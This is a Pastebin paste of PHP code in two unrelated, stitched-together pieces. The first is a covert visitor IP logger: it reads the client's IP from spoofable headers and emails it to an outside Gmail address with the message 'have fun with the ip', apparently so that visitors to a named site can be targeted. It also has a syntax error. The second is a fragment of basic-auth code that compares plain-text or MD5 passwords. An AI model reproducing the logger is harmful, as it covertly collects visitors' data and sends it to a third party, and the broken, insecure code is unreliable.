Guest User

Untitled

a guest
Jun 20th, 2018
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.74 KB | None | 0 0
  1. <?php
  2.    if (!empty($_SERVER['HTTP_CLIENT_IP']))   //check ip from share internet
  3.     {
  4.       $ip=$_SERVER['HTTP_CLIENT_IP'];
  5.     }
  6.     elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))   //to check ip is pass from proxy
  7.     {
  8.       $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
  9.     }
  10.     else
  11.     {
  12.       $ip=$_SERVER['REMOTE_ADDR'];
  13.     }
  14.  $to = "anonphunt@gmail.com";
  15.  $subject = "Accesser.";
  16.  $body = "This person accessed wxangels.com have fun with the ip:";
  17.  if (mail($to, $subject, $body $ip)) {
  18.    echo("<p>Message successfully sent!</p>");
  19.   } else {
  20.    echo("<p>Message delivery failed...</p>");
  21.   }
  22.  ?>
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.     // Authentication, the $auth array contains users and passwords
  30.     if ( !empty( $auth ) )
  31.     {
  32.  
  33.         $user = $_SERVER[ 'PHP_AUTH_USER' ]; // Get the username that the client filled in
  34.         $pass = $_SERVER[ 'PHP_AUTH_PW' ]; // Get the password that the client filled in
  35.         $authorised = false; // Client isn't authorised yet
  36.  
  37.         foreach( $auth as $item ) // Check each user
  38.         {
  39.             if ( $item[ 0 ] == $user && $item[ 1 ] == $pass && !preg_match( "/^[0-9a-f]{32}$/si", $item[ 1 ] ) ) // A password can be plain if it isn't a md5-hash
  40.             {
  41.                 $authorised = true;
  42.                 $auth_user = $user;
  43.             }
  44.             elseif ( $item[ 0 ] == $user && $item[ 1 ] == md5( $pass ) ) // Check md5 password
  45.             {
  46.                 $authorised = true;
  47.                 $auth_user = $user;
  48.             }
  49.         }
  50.  
  51.         if ( $authorised === false ) // If authentication failed, then the client must fill in the username and password
  52.         {
  53.             header( 'WWW-Authenticate: Basic realm="' . $auth_msg . '"' ); // Request user/password
  54.             die( $auth_failed_msg );// Show message when not loggedin
  55.         }
  56.  
  57.     }
  58.     else
  59.     {
  60.         $auth_user = 'Adminstrator'; // If there is no user, then the user is called 'Administrator'
  61.     }
Add Comment
Please, Sign In to add comment